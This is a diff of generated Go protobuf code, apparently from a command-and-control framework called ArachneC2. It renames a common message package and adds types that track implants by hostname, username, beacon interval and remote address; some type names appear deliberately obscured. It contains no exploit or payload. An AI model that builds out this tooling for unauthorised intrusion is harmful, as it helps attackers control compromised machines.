@@ -102,7 +102,7 @@ func (x *Process) ProtoReflect() protoreflect.Message {
// Deprecated: Use Process.ProtoReflect.Descriptor instead.
func (*Process) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{1}
return file_cpb_common_proto_rawDescGZIP(), []int{1}
}
func (x *Process) GetPid() int32 {
@@ -173,7 +173,7 @@ type EnvVar struct {
func (x *EnvVar) Reset() {
*x = EnvVar{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[2]
mi := &file_cpb_common_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -186,7 +186,7 @@ func (x *EnvVar) String() string {
func (*EnvVar) ProtoMessage() {}
func (x *EnvVar) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[2]
mi := &file_cpb_common_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -199,7 +199,7 @@ func (x *EnvVar) ProtoReflect() protoreflect.Message {
// Deprecated: Use EnvVar.ProtoReflect.Descriptor instead.
func (*EnvVar) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{2}
return file_cpb_common_proto_rawDescGZIP(), []int{2}
}
func (x *EnvVar) GetKey() string {
@@ -229,7 +229,7 @@ type Response struct {
func (x *Response) Reset() {
*x = Response{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[3]
mi := &file_cpb_common_proto_msgTypes[3]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -242,7 +242,7 @@ func (x *Response) String() string {
func (*Response) ProtoMessage() {}
func (x *Response) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[3]
mi := &file_cpb_common_proto_msgTypes[3]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -255,7 +255,7 @@ func (x *Response) ProtoReflect() protoreflect.Message {
// Deprecated: Use Response.ProtoReflect.Descriptor instead.
func (*Response) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{3}
return file_cpb_common_proto_rawDescGZIP(), []int{3}
}
func (x *Response) GetErr() uint32 {
@@ -292,7 +292,7 @@ type Request struct {
func (x *Request) Reset() {
*x = Request{}
if protoimpl.UnsafeEnabled {
mi := &file_commonpb_common_proto_msgTypes[4]
mi := &file_cpb_common_proto_msgTypes[4]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
@@ -305,7 +305,7 @@ func (x *Request) String() string {
func (*Request) ProtoMessage() {}
func (x *Request) ProtoReflect() protoreflect.Message {
mi := &file_commonpb_common_proto_msgTypes[4]
mi := &file_cpb_common_proto_msgTypes[4]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
@@ -318,7 +318,7 @@ func (x *Request) ProtoReflect() protoreflect.Message {
// Deprecated: Use Request.ProtoReflect.Descriptor instead.
func (*Request) Descriptor() ([]byte, []int) {
return file_commonpb_common_proto_rawDescGZIP(), []int{4}
return file_cpb_common_proto_rawDescGZIP(), []int{4}
}
func (x *Request) GetOpcode() uint32 {
@@ -342,64 +342,63 @@ func (x *Request) GetPeerID() int64 {
return 0
}
var File_commonpb_common_proto protoreflect.FileDescriptor
var File_cpb_common_proto protoreflect.FileDescriptor
var file_commonpb_common_proto_rawDesc = []byte{
0x0a, 0x15, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f,
0x6e, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12, 0x08, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0xbf, 0x01, 0x0a, 0x07, 0x50,
0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20,
0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x70, 0x69, 0x64,
0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70, 0x69, 0x64, 0x12, 0x12, 0x0a, 0x04,
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52,
0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x05,
0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72,
0x67, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x67, 0x73, 0x12, 0x18,
0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52,
0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68,
0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c,
0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x22, 0x30, 0x0a, 0x06,
0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x01, 0x20,
0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75,
0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x48,
0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72,
0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x16, 0x0a, 0x06,
0x45, 0x72, 0x72, 0x4d, 0x73, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x45, 0x72,
0x72, 0x4d, 0x73, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x03, 0x20, 0x01,
0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x4d, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75,
0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x70, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20,
0x01, 0x28, 0x0d, 0x52, 0x06, 0x4f, 0x70, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x44,
0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12,
0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52,
0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x42, 0x33, 0x5a, 0x31, 0x67, 0x69, 0x74, 0x68, 0x75,
0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x61, 0x6e, 0x6f, 0x6d, 0x61, 0x6c, 0x79, 0x63, 0x6f, 0x2f,
0x61, 0x72, 0x61, 0x63, 0x68, 0x6e, 0x65, 0x2d, 0x63, 0x32, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f,
0x62, 0x75, 0x66, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72,
0x6f, 0x74, 0x6f, 0x33,
var file_cpb_common_proto_rawDesc = []byte{
0x0a, 0x10, 0x63, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x2e, 0x70, 0x72, 0x6f,
0x74, 0x6f, 0x12, 0x03, 0x63, 0x70, 0x62, 0x22, 0x07, 0x0a, 0x05, 0x45, 0x6d, 0x70, 0x74, 0x79,
0x22, 0xbf, 0x01, 0x0a, 0x07, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03,
0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x12,
0x0a, 0x04, 0x50, 0x70, 0x69, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x04, 0x50, 0x70,
0x69, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09,
0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x18,
0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4f, 0x77, 0x6e, 0x65, 0x72, 0x12, 0x12, 0x0a, 0x04,
0x50, 0x61, 0x74, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68,
0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x67, 0x73, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04,
0x41, 0x72, 0x67, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18,
0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x22,
0x0a, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75, 0x72, 0x65, 0x18, 0x08,
0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x41, 0x72, 0x63, 0x68, 0x69, 0x74, 0x65, 0x63, 0x74, 0x75,
0x72, 0x65, 0x22, 0x30, 0x0a, 0x06, 0x45, 0x6e, 0x76, 0x56, 0x61, 0x72, 0x12, 0x10, 0x0a, 0x03,
0x4b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x14,
0x0a, 0x05, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x56,
0x61, 0x6c, 0x75, 0x65, 0x22, 0x48, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65,
0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x45,
0x72, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x45, 0x72, 0x72, 0x4d, 0x73, 0x67, 0x18, 0x02, 0x20, 0x01,
0x28, 0x09, 0x52, 0x06, 0x45, 0x72, 0x72, 0x4d, 0x73, 0x67, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61,
0x74, 0x61, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0x4d,
0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x70, 0x63,
0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x06, 0x4f, 0x70, 0x63, 0x6f, 0x64,
0x65, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52,
0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18,
0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x42, 0x32, 0x5a,
0x30, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x6f, 0x72, 0x74,
0x62, 0x75, 0x73, 0x74, 0x65, 0x72, 0x31, 0x33, 0x33, 0x37, 0x2f, 0x41, 0x72, 0x61, 0x63, 0x68,
0x6e, 0x65, 0x43, 0x32, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x70,
0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
}
var (
file_commonpb_common_proto_rawDescOnce sync.Once
file_commonpb_common_proto_rawDescData = file_commonpb_common_proto_rawDesc
file_cpb_common_proto_rawDescOnce sync.Once
file_cpb_common_proto_rawDescData = file_cpb_common_proto_rawDesc
)
func file_commonpb_common_proto_rawDescGZIP() []byte {
file_commonpb_common_proto_rawDescOnce.Do(func() {
file_commonpb_common_proto_rawDescData = protoimpl.X.CompressGZIP(file_commonpb_common_proto_rawDescData)
func file_cpb_common_proto_rawDescGZIP() []byte {
file_cpb_common_proto_rawDescOnce.Do(func() {
file_cpb_common_proto_rawDescData = protoimpl.X.CompressGZIP(file_cpb_common_proto_rawDescData)
})
return file_commonpb_common_proto_rawDescData
return file_cpb_common_proto_rawDescData
}
var file_commonpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 5)
var file_commonpb_common_proto_goTypes = []interface{}{
(*Empty)(nil), // 0: commonpb.Empty
(*Process)(nil), // 1: commonpb.Process
(*EnvVar)(nil), // 2: commonpb.EnvVar
(*Response)(nil), // 3: commonpb.Response
(*Request)(nil), // 4: commonpb.Request
var file_cpb_common_proto_msgTypes = make([]protoimpl.MessageInfo, 5)
var file_cpb_common_proto_goTypes = []interface{}{
(*Empty)(nil), // 0: cpb.Empty
(*Process)(nil), // 1: cpb.Process
(*EnvVar)(nil), // 2: cpb.EnvVar
(*Response)(nil), // 3: cpb.Response
(*Request)(nil), // 4: cpb.Request
}
var file_commonpb_common_proto_depIdxs = []int32{
var file_cpb_common_proto_depIdxs = []int32{
0, // [0:0] is the sub-list for method output_type
0, // [0:0] is the sub-list for method input_type
0, // [0:0] is the sub-list for extension type_name
@@ -407,13 +406,13 @@ var file_commonpb_common_proto_depIdxs = []int32{
0, // [0:0] is the sub-list for field type_name
}
func init() { file_commonpb_common_proto_init() }
func file_commonpb_common_proto_init() {
if File_commonpb_common_proto != nil {
func init() { file_cpb_common_proto_init() }
func file_cpb_common_proto_init() {
if File_cpb_common_proto != nil {
return
}
if !protoimpl.UnsafeEnabled {
file_commonpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
file_cpb_common_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Empty); i {
case 0:
return &v.state
@@ -425,7 +424,7 @@ func file_commonpb_common_proto_init() {
return nil
}
}
file_commonpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
file_cpb_common_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Process); i {
case 0:
return &v.state
@@ -437,7 +436,7 @@ func file_commonpb_common_proto_init() {
return nil
}
}
file_commonpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
file_cpb_common_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*EnvVar); i {
case 0:
return &v.state
@@ -449,7 +448,7 @@ func file_commonpb_common_proto_init() {
return nil
}
}
file_commonpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
file_cpb_common_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Response); i {
case 0:
return &v.state
@@ -461,7 +460,7 @@ func file_commonpb_common_proto_init() {
return nil
}
}
file_commonpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
file_cpb_common_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} {
switch v := v.(*Request); i {
case 0:
return &v.state
@@ -478,18 +477,18 @@ func file_commonpb_common_proto_init() {
out := protoimpl.TypeBuilder{
File: protoimpl.DescBuilder{
GoPackagePath: reflect.TypeOf(x{}).PkgPath(),
RawDescriptor: file_commonpb_common_proto_rawDesc,
RawDescriptor: file_cpb_common_proto_rawDesc,
NumEnums: 0,
NumMessages: 5,
NumExtensions: 0,
NumServices: 0,
},
GoTypes: file_commonpb_common_proto_goTypes,
DependencyIndexes: file_commonpb_common_proto_depIdxs,
MessageInfos: file_commonpb_common_proto_msgTypes,
GoTypes: file_cpb_common_proto_goTypes,
DependencyIndexes: file_cpb_common_proto_depIdxs,
MessageInfos: file_cpb_common_proto_msgTypes,
}.Build()
File_commonpb_common_proto = out.File
file_commonpb_common_proto_rawDesc = nil
file_commonpb_common_proto_goTypes = nil
file_commonpb_common_proto_depIdxs = nil
File_cpb_common_proto = out.File
file_cpb_common_proto_rawDesc = nil
file_cpb_common_proto_goTypes = nil
file_cpb_common_proto_depIdxs = nil
}
@@ -1,6 +1,6 @@
syntax = "proto3";
package commonpb;
option go_package = "github.com/portbuster1337/arachne-c2/protobuf/commonpb";
package cpb;
option go_package = "github.com/portbuster1337/ArachneC2/protobuf/cpb";
message Empty {}
+472
View File
@@ -0,0 +1,472 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.31.0
// protoc v4.25.1
// source: rpb/rpc.proto
package rpb
import (
apb "github.com/portbuster1337/ArachneC2/protobuf/apb"
cpb "github.com/portbuster1337/ArachneC2/protobuf/cpb"
protoreflect "google.golang.org/protobuf/reflect/protoreflect"
protoimpl "google.golang.org/protobuf/runtime/protoimpl"
reflect "reflect"
sync "sync"
)
const (
// Verify that this generated code is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(20 - protoimpl.MinVersion)
// Verify that runtime/protoimpl is sufficiently up-to-date.
_ = protoimpl.EnforceVersion(protoimpl.MaxVersion - 20)
)
type Version struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Version string `protobuf:"bytes,1,opt,name=Version,proto3" json:"Version,omitempty"`
Commit string `protobuf:"bytes,2,opt,name=Commit,proto3" json:"Commit,omitempty"`
GoVersion string `protobuf:"bytes,3,opt,name=GoVersion,proto3" json:"GoVersion,omitempty"`
}
func (x *Version) Reset() {
*x = Version{}
if protoimpl.UnsafeEnabled {
mi := &file_rpb_rpc_proto_msgTypes[0]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Version) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Version) ProtoMessage() {}
func (x *Version) ProtoReflect() protoreflect.Message {
mi := &file_rpb_rpc_proto_msgTypes[0]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Version.ProtoReflect.Descriptor instead.
func (*Version) Descriptor() ([]byte, []int) {
return file_rpb_rpc_proto_rawDescGZIP(), []int{0}
}
func (x *Version) GetVersion() string {
if x != nil {
return x.Version
}
return ""
}
func (x *Version) GetCommit() string {
if x != nil {
return x.Commit
}
return ""
}
func (x *Version) GetGoVersion() string {
if x != nil {
return x.GoVersion
}
return ""
}
type Z26 struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
ID string `protobuf:"bytes,1,opt,name=ID,proto3" json:"ID,omitempty"`
Name string `protobuf:"bytes,2,opt,name=Name,proto3" json:"Name,omitempty"`
Hostname string `protobuf:"bytes,3,opt,name=Hostname,proto3" json:"Hostname,omitempty"`
OS string `protobuf:"bytes,4,opt,name=OS,proto3" json:"OS,omitempty"`
Arch string `protobuf:"bytes,5,opt,name=Arch,proto3" json:"Arch,omitempty"`
Username string `protobuf:"bytes,6,opt,name=Username,proto3" json:"Username,omitempty"`
PeerID string `protobuf:"bytes,7,opt,name=PeerID,proto3" json:"PeerID,omitempty"`
LastCheckin int64 `protobuf:"varint,8,opt,name=LastCheckin,proto3" json:"LastCheckin,omitempty"`
Interval int64 `protobuf:"varint,9,opt,name=Interval,proto3" json:"Interval,omitempty"`
IsBeacon bool `protobuf:"varint,10,opt,name=IsBeacon,proto3" json:"IsBeacon,omitempty"`
Locale string `protobuf:"bytes,11,opt,name=Locale,proto3" json:"Locale,omitempty"`
RemoteAddress string `protobuf:"bytes,12,opt,name=RemoteAddress,proto3" json:"RemoteAddress,omitempty"`
}
func (x *Z26) Reset() {
*x = Z26{}
if protoimpl.UnsafeEnabled {
mi := &file_rpb_rpc_proto_msgTypes[1]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Z26) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Z26) ProtoMessage() {}
func (x *Z26) ProtoReflect() protoreflect.Message {
mi := &file_rpb_rpc_proto_msgTypes[1]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Z26.ProtoReflect.Descriptor instead.
func (*Z26) Descriptor() ([]byte, []int) {
return file_rpb_rpc_proto_rawDescGZIP(), []int{1}
}
func (x *Z26) GetID() string {
if x != nil {
return x.ID
}
return ""
}
func (x *Z26) GetName() string {
if x != nil {
return x.Name
}
return ""
}
func (x *Z26) GetHostname() string {
if x != nil {
return x.Hostname
}
return ""
}
func (x *Z26) GetOS() string {
if x != nil {
return x.OS
}
return ""
}
func (x *Z26) GetArch() string {
if x != nil {
return x.Arch
}
return ""
}
func (x *Z26) GetUsername() string {
if x != nil {
return x.Username
}
return ""
}
func (x *Z26) GetPeerID() string {
if x != nil {
return x.PeerID
}
return ""
}
func (x *Z26) GetLastCheckin() int64 {
if x != nil {
return x.LastCheckin
}
return 0
}
func (x *Z26) GetInterval() int64 {
if x != nil {
return x.Interval
}
return 0
}
func (x *Z26) GetIsBeacon() bool {
if x != nil {
return x.IsBeacon
}
return false
}
func (x *Z26) GetLocale() string {
if x != nil {
return x.Locale
}
return ""
}
func (x *Z26) GetRemoteAddress() string {
if x != nil {
return x.RemoteAddress
}
return ""
}
type Z27 struct {
state protoimpl.MessageState
sizeCache protoimpl.SizeCache
unknownFields protoimpl.UnknownFields
Implants []*Z26 `protobuf:"bytes,1,rep,name=Implants,proto3" json:"Implants,omitempty"`
}
func (x *Z27) Reset() {
*x = Z27{}
if protoimpl.UnsafeEnabled {
mi := &file_rpb_rpc_proto_msgTypes[2]
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
ms.StoreMessageInfo(mi)
}
}
func (x *Z27) String() string {
return protoimpl.X.MessageStringOf(x)
}
func (*Z27) ProtoMessage() {}
func (x *Z27) ProtoReflect() protoreflect.Message {
mi := &file_rpb_rpc_proto_msgTypes[2]
if protoimpl.UnsafeEnabled && x != nil {
ms := protoimpl.X.MessageStateOf(protoimpl.Pointer(x))
if ms.LoadMessageInfo() == nil {
ms.StoreMessageInfo(mi)
}
return ms
}
return mi.MessageOf(x)
}
// Deprecated: Use Z27.ProtoReflect.Descriptor instead.
func (*Z27) Descriptor() ([]byte, []int) {
return file_rpb_rpc_proto_rawDescGZIP(), []int{2}
}
func (x *Z27) GetImplants() []*Z26 {
if x != nil {
return x.Implants
}
return nil
}
var File_rpb_rpc_proto protoreflect.FileDescriptor
var file_rpb_rpc_proto_rawDesc = []byte{
0x0a, 0x0d, 0x72, 0x70, 0x62, 0x2f, 0x72, 0x70, 0x63, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x12,
0x03, 0x72, 0x70, 0x62, 0x1a, 0x10, 0x63, 0x70, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e,
0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x11, 0x61, 0x70, 0x62, 0x2f, 0x61, 0x72, 0x61, 0x63,
0x68, 0x6e, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x22, 0x59, 0x0a, 0x07, 0x56, 0x65, 0x72,
0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18,
0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16,
0x0a, 0x06, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x47, 0x6f, 0x56, 0x65, 0x72, 0x73,
0x69, 0x6f, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x47, 0x6f, 0x56, 0x65, 0x72,
0x73, 0x69, 0x6f, 0x6e, 0x22, 0xb5, 0x02, 0x0a, 0x03, 0x5a, 0x32, 0x36, 0x12, 0x0e, 0x0a, 0x02,
0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04,
0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65,
0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01,
0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x0e, 0x0a, 0x02,
0x4f, 0x53, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04,
0x41, 0x72, 0x63, 0x68, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68,
0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x06, 0x20, 0x01,
0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06,
0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x50, 0x65,
0x65, 0x72, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63,
0x6b, 0x69, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43,
0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
0x61, 0x6c, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76,
0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x18, 0x0a,
0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x49, 0x73, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x16,
0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06,
0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65,
0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52,
